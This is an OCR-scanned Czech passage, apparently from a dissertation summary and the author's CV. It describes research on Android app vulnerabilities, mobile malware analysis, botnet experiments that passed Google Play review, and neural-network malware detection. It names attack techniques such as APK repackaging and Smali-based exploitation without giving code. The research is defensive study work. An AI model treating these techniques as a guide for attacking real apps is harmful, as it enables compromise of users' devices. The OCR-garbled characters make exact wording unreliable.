v dizertaCni praci je popsan na sto tficet jedna stranach. Tato Cast prace rovnéz
unikatni nejen svoji rozsdhlosti a komplexnosti ale ptredevSim tim, Ze byla
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provedena z pohledu uto¢nika. Uvedeny zpusob je zajimavy nejen pro mobilni
vyvojare, kterym poskytne novy pohled ,,druhé strany®, ale 1 pro bezpecnostni
analytiky a penetracni testery. V softwarovych spole¢nostech miize byt tato cast
dizerta¢ni prace pouZita pii vytvateni, Upravé ¢i obohaceni internich pravidel a
smérnic vztahujicich se k bezpe¢nostnim aspektim mobilniho vyvoje. Ve
forenznich a penetra¢nich laboratofich mlze zase slouzit jako podklad pro
vytvateni testovacich/penetracnich metodik.

Casti dizertadni prace, které se vénuji problematice mobilniho malwaru a jeho
detekci, jsou unikatni nejen svym rozsahem, ale i obsahem a celkovou koncepci.
Vyzkum trval dva roky a je popséan na sto tficeti péti stranach. Pro vyzkumniky
z fad akademickeé obce, ale 1 pro bezpecnostni experty, mohou byt zajimavé ¢asti,
které se tykaji ziskavani infikovanych vzorkd mobilnich aplikaci, stejné jako
detailni vySetfovaci metody, kter¢ se napiiklad zabyvaji problematicky
analyzovatelnym zdrojovym kodem, ktery je obfuskovany, restaurovanim
poSkozenych casti Skodlivych kodi, ktere byly posSkozeny dekompilaénimi
procesy, rekonstrukci dat, které byly pfed obfuskaci ulozené v R.class,
zneuzivanim komponenty WebView pomoci JavaScriptu, pokrocilym
analytickym pouZivanim nastroje GNU grep apod. Dalsi cast, kterd je pro
technickou praxi dobfe vyuZitelnd je oblast popisujici uto€né mechanismy a
charakteristiky mobilniho malwaru. Naptiklad malware, ktery ma dvé ¢asti. Prvni
z nich je zpravidla viditelnd a poskytuje uzitecnou ¢i zdbavnou funkcionalitu.
Druha ¢ast nema uzivatelské rozhrani a obvykle je realizovana jako asynchronni
vlakno bézici na pozadi nebo jako sluzba. Ptinosné rovnéZz mohou byt 1 dalsi
publikované mechanismy, jako napiiklad infekce legitimnich aplikaci, ci
navrzeny postup detekce malwaru typu Hidden APK. Clanek nazvany Hidden
APK, ktery vytvofil autor dizertacni prace, byl oponenty oznacen za jeden ze tfi
nejlepSich a dostal se na obalku prestizniho ¢asopisu Hakin9 - IT SECURITY
MAGAZINE. Clanek Hiden APK se rovnéz dostal mezi 20 nejétengjsich a nejlépe
hodnocenych ¢lanki z let 2016 a 2017 a proto vySel ve specidlnim ¢isle Best 20
Hacking Tutorials. Technologicky pfinosné byly i1 experimenty s mobilnimi
botnety a softwarovou distribu¢ni platformou Google Play, které naznacuji
nutnost zlepSeni statické analyzy schvalovanych mobilnich aplikaci.

Prace se neomezuje pouze na bezpecnostni analyzu mobilnich aplikaci a
soucasného mobilniho malware, ale pfichdzi 1 s proaktivnim opatfenim, kterym je
detekce mobilniho malware pomoci umélé inteligence. Zde jsou z hlediska
navazujicich vyzkumi vyznamné tfi oblasti: algebra opravnéni, unikétni postup
datové analyzy vcetné tvorby vstupnich vektord, vysledky detekce mobilniho
malwaru pomoci metod umél¢ inteligence, ptredev§im pomoci neuronovych siti.

Algebra opravnéni je formalizovany aparat umoznujici vytvafet systémy,
které jsou schopny detekovat mobilni malware pouzivajici rizné utocné
mechanismy 1 r0zné ochrany znesnadnujici jeho analyzu a tim 1 jeho
kompromitaci. Algebra opravnéni je postavena na skutecnosti, Ze existuje misto,
kde musi kazd4 aplikace, tedy 1 mobilni malware poodhalit své skutecné zamery.
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Tim mistem je soubor AndroidManifest.xml a prostfedkem jsou takzvané
Android Permissions (opravnéni).

Jednim z nejvyznamngéjSich pfinosl pro védu a praxi, kterych bylo v dizerta¢ni
praci dosaZzeno je nejen navrh a experimentalni ovéfeni mechanismu detekce
mobilniho malwaru pomoci metod umélé inteligence, predevSim pomoci
neuronovych siti, ale pfedev§im dosazen¢ vysledky. Detekce vzorkd malwaru a
legitimnich aplikaci mély presnost 99,5 % pfti trénovani (vzorky, které naucena
neuronova sit’ znala) a presnost 98,23 % pfi testovani (vzorky, které naucena
neuronova sit’ neznala). V tomto kontextu je vyznamny jesté jeden fakt a to, Ze
vySe uvedenych vysledki bylo dosaZeno na profesionalni datove sadé spolecnosti
AVG Technologies CZ, ktera byla dostatecné rozsahla 1 kvalitni.
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8. ZAVER

Vyzkum provedeny v ramci dizerta¢ni prace byl zaméfen na tfi hlavni oblasti:
bezpecnost mobilnich aplikaci, mobilni malware a navrh a experimentalni ovéieni
nového zpisobu detekce mobilntho malwaru pomoci umélé inteligence,
pfedevs§im neuronovych siti.

V prvni cCasti se dizertani prace zabyva analyzou a hledanim zavaznych
bezpecnostnich chyb v soucasnych mobilnich aplikacich. Zpracovani této faze je
z hlediska kontextu ostatni odborné literatury unikatni hned v n€kolika ohledech.
Dizerta¢ni prace systematicky pokryva vSechny hlavni oblasti této problematiky
od rozdild, jakymi jsou zneuzivany zranitelnosti nalezené v mobilnich aplikacich
uto¢niky a tvlirci mobilniho malwaru, pfes problematiku APK bali¢kl a jejich
analyzy, aZ po nalezené zranitelnosti ve vySetfovanych mobilnich aplikacich.
Dal$im unikatnim rysem je obsahlost feSen¢ho tématu. Jen tato ¢ast dizertacni
prace ma sto tficet jedna stran, které kromée teoretickych popistt obsahuji 1 unikéatni
ukazky zdrojovych kodi, schémata a snimky obrazovek mobilnich zatizeni
zachycujici klicové situace. Uvedend ¢ast prace je rovnéZ vyjimecnd tim, Ze je
zpracovana z pohledu utoc¢nika a tvlirce mobilniho malwaru. VétSina publikaci je
pséana pro programatory a ma formu ,,best practices®, zatimco analyticky cenny
pohled ,,druhé¢ strany* je zcela opomijen.

Dizertacni prace se v ucelené podobé zabyvd komplexni analyzou APK
balicki, ktera zahrnuje kompilaéni proces, strukturu APK balickii, dekompilaci a
ziskavani plivodnich zdrojovych kodl, na které je mozné zautocit. V praci jsou
vysvétleny odliSnosti kompilace Java programil pro mobilni zafizeni a osobni
pocitaCe. Pozornost je vénovana zejména mobilni dex kompilaci a navazujicim
operacim. Rychlost a dynamika vyvoje mobilnich operacnich systémi ma za
nasledek velké zmény kompilacnich procesi. Spravné pochopeni kompilace APK
balickll je nezbytnym vstupnim pfedpokladem pro badani v oblasti bezpecnosti
mobilnich aplikaci a mobilniho malwaru. Navzdory uvedené skutecnosti je
soucasna primarni dokumentace vztahujici se ke kompilaénimu procesu
roztfiSténa do vétStho poctu na sebe nenavazujicich dokumentii. Proto je
kompilace v dizertaCni préaci systematicky zpracovana, priCemz zvlastni
pozornost je vénovana i schématim, na kterych nejlépe vyniknou jednotlivé
vyvojove rozdily.

Dizertacni prace se podrobné také vénuje ruéni dynamické analyze, ru¢ni
statické analyze a automatickym vySetfovacim metodam. Patrné jednu
znejcenngjSich cCasti této prace predstavuje oddil 4.6 Zranitelnosti ve
vySetfovanych mobilnich aplikacich, nalezen¢ autorem a jejichZ vyzkum trval dva
a pul roku s primérnou tfihodinovou denni dotaci. Zkoumani zranitelnosti ve
vySetfovanych mobilnich aplikacich vedlo k odhaleni celé fady zavaznych
bezpecnostnich hrozeb, které takto ucelené dosud nebyly v odborné literatuie
publikovany. Nalezen¢ zranitelnosti jsou systemizované do ¢tyt hlavnich oblasti:
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utoky zaloZené na analyze dat z APK balickl, APK repackage, utoky na lokalni
zabezpeceni mobilnich aplikaci a itoky na sitové zabezpeceni mobilnich aplikaci.

Odhalené bezpecnostni chyby z provedenych ttoktli zaloZenych na analyze dat
z APK bali¢ki jsou v disertacni praci rozdéleny do tii kategorii. Do prvni skupiny
patii dosud nepublikované zranitelnosti a jejich zneuziti, jako jsou naptiklad
Server Authentication Redirecting, String Digging, Single-Jump Attack, Multi-
Jump Attack, Negation Attack, Removal Attack a dal$i. Prace se nespokojuje
pouze s teoretickym popisem zranitelnosti, ale ukazuje i cely proces zneuZiti, a to
veetné zdrojovych koda v jazyce Java (hledani zranitelnosti, ptiprava na utok) a
Smali (samotné provedeni utoku), realizaci opétovné kompilace vcetné chyb,
které se mohou vyskytnout, 1 jejich odstranéni. Do druhé skupiny zranitelnosti
spadaji takové chyby, které jsou sice znamé, ale jejich zdvaznost ¢i mozZné
dasledky nebyly v odborné literature dostate¢né zdlraznény. Napiiklad ukladani
citlivych informaci a dat do privatniho datového prostoru, coZ je zpusobeno
nevhodnou vyvojafskou dokumentaci od spole¢nosti Google LLC. Nepocita totiz
se zatfizenimi, kde Uto¢nik ptevzal prava super uZzivatele. Do posledni skupiny
patii bezpe€nostni chyby, které¢ jsou dobfe znamé, ale soucasnd literatura se
omezuje pouze na jejich popis. V takovych ptipadech jsou v dizertacni praci
navrzena doporuceni, kterd mobilnim vyvojaifiim umozni zlepsit bezpecnost jejich
aplikaci; naptiklad jak celit nedostatku binadrni ochrany. Tato &ast prace
v neposledni fadé pifinaSi Gplny, dosud nepublikovany popis reverzovani
aplikacniho protokolu, Server Authentication Redirecting, a celou fadu dalSich
zranitelnosti a utokd.

Dalsi cast dizertaCni prace se vénuje problematice mobilniho malwaru.
Uvedena cCast je unikatni nejen svym rozsahem, ale pfedev§im hloubkou. Prace
systematicky prochazi vSechny hlavni oblasti dané problematiky od ziskavani
vzorkll (z file share serveri pomoci mechanismu webové infekce), pies
vySetfovaci metody aZ po charakteristiky mobilniho malwaru. V oblasti analyzy
mobilniho malwaru jsou vyznamné zejména Casti, které se zabyvaji rekonstrukei
klicového XML layoutu podezielé aplikace, mechanismem faleSnych jmen
mobilniho malwaru, analyzou obfuskovanych kodi pomoci Java Decompileru,
ziskanim a analyzou opravnéni, kterd malware poZaduje prostfednictvim souboru
AndroidManifest.xml. Analyticky unikétni jsou 1 postupy navrzené autorem, jako
naptiklad rekurzivni vyhledavani klicovych vyrazii uvnitf struktury tfid jazyka
Java, kter¢ mohou lokalizovat Skodlivou ¢ast kddu, restaurovani poskozenych
casti kodli malwaru ¢i kontrolované testovani zrestaurované funkcionality
malwaru. V oddilu 5.2 Charakteristiky mobilniho malwaru byla ptfedstavena cela
fada dosud nepublikovanych mechanismi, znichz nejdilezitéjsi je analyza
malwaru typu Hidden APK a experimenty s mobilnimi botnety. Experimenty
s mobilnimi botnety potvrdily hypotézu o nedostatecné statické analyze na
Google Play. Boti byly totiz vytvoreni tak, aby je bylo mozné snadno identifikovat
staticky, zatimco dynamicka analyza, kterd by vedla k jejich kompromitaci, byla
témeéf nemozna. NaznaCeny zplsob se ukdzal jako UCinny, protoZe navzdory
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velmi nebezpecéné funkcionalité, kterou disponovaly aplikace Spennymoor
weather a Meadowfield weather (boti), byly schvalovaci procesy na Google Play
uspésné dokonceny. Tyto Skodlivé aplikace si mohla pak do svych mobilnich
zatizeni nainstalovat vice neZ miliarda aktivnich uZivateli Google Play.

Posledni vyzkumna cCast dizertani prace se zabyva problematikou detekce
mobilnitho malwaru pomoci neuronovych siti. Tato €ast obsahuje unikatni
formalizovany aparat pro detekci mobilniho malwaru, kterym je algebra
opravnéni. Velmi vyznamna byla spoluprace s AVG Technologies CZ, nebot’
experimenty s detekci mobilniho malwaru pomoci neuronovych siti probihaly na
profesionalni datové sadé od této spolecnosti. Uvedena sada obsahuje dostatecny
pocet prokazateln€ infikovanych aplikaci 1 Ccistych legitimnich aplikaci.
Rozsahlost a kvalita datové sady umoznila oznacit ziskané vysledky za vysoce
relevantni. Jako kli€ova pro presnost detekce pomoci neuronovych siti se ukazala
datové analyza a pecliva tvorba vstupnich vektort, kterd se sklddala zeymeéna z
identifikace a redukce problematickych slozek vektori. Dal§i vyznamnou cast
pfedstavuji pokusy s neuronovymi sitémi, které zahrnovaly experimentovani
s riznymi pocty neuronli ve skryté vrstv€ a kombinaci riznych pifenosovych
funkci ve skryté a vystupni vrstvé (logistickd sigmoida, hyperbolicky tangens a
linedrni saturovana funkce). Pro vyzkumniky zabyvajici se problematikou
detekce mobilnitho malwaru bude urcité zajimaveé i1 srovnani vysledkid na této
rozsahlé datové sadé, dosazené 1 pomoci dalSich klasifikacnich metod umélé
inteligence, jako je metoda podplirnych vektorti (Support vector machines),
metoda nahodného lesa (Random Forest), naivni Bayesovsky klasifikator, metoda
nejblizsich sousedi ¢i logisticka regrese. Neuronove sité¢ dosahly 99.5 % piesnosti
pii trénovani a 98,23 % pfti testovani se sekundaci metody podpirnych vektori
s 99 % ptesnosti pti trénovani a 98,36 % pii testovani. Ostatni uvedené metody
byly zhruba o jedno az Ctyfi procenta horsi. Tyto vysledky ukazuji silu strojového
uceni a zaroven naznacuji jeden z perspektivnich sméri, kterymi by se méla ubirat
problematika detekce mobilniho malwaru.

Vyvoj komponent mobilnich aplikaci i mobilnich operaénich systémi je velmi
dynamicky. N&které staré chyby jsou v novych operacnich systémech castecné
nebo zcela opraveny, ale ¢asto nové verze operacnich systému pfinasi chyby nove,
na kter¢ je potteba reagovat. Komplexnost a systematické zpracovani déla z této
dizertacni prace unikatni zdroj informaci, ktery mohou vyuZzit nejen vyzkumnici
z fad akademicke obce, ale 1 penetracni testeti a analytici mobilniho malwaru jako
odrazovy miistek slouZici pro zorientovani se v této oblasti.
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anglictina

Odborné dovednosti

POROZUMENI MLUVENI PISEMNY PROJEV
. : Samostatny Ustni p
Poslech Cteni Ustni interakce projev Psani
C1 C1 B2 B2 C1

2015 - doktorska zkouska - Academic writing
Urovné: A1 aA2: tecnik - B1 a B2: Nezavisly uZivatel - C1 a C2: ZpUsobily uZivatel

Vyzkum v oblasti bezpe¢nosti mobilnich a informacnich technologii, programovani
v jazycich Java (se zamé&renim na mobilni platformu Android), C#, C++, HTML,
JavaScript, PHP, SQL, sprava pocitacovych siti (véetné spravy server()

V jazyce Java a Bash autor naprogramoval systém zabezpeceného sdileni dat
mezi mobilnimi zafizenimi v redlném Ease. Dale autor vytvofil dva experimentalni
botnety, pro ucely zkoumani zabezpec&eni softwarového trzisté Google Play. O
svém bezpecnostnim vyzkumu autor pfednasi na vyznamnych komerénich
(mDevTalk, HACKERFest, SecPublica, OWASP Czech Chapter Meeting, atd.) i
akademickych konferencich (viz publikaéni &innost). Casti vyzkumu, které
nemohou byt z bezpec¢nostnich dlvodul prezentovany verejné, jsou autorem
pravideln& prezentovany v ramci Policie CR a Armady CR.
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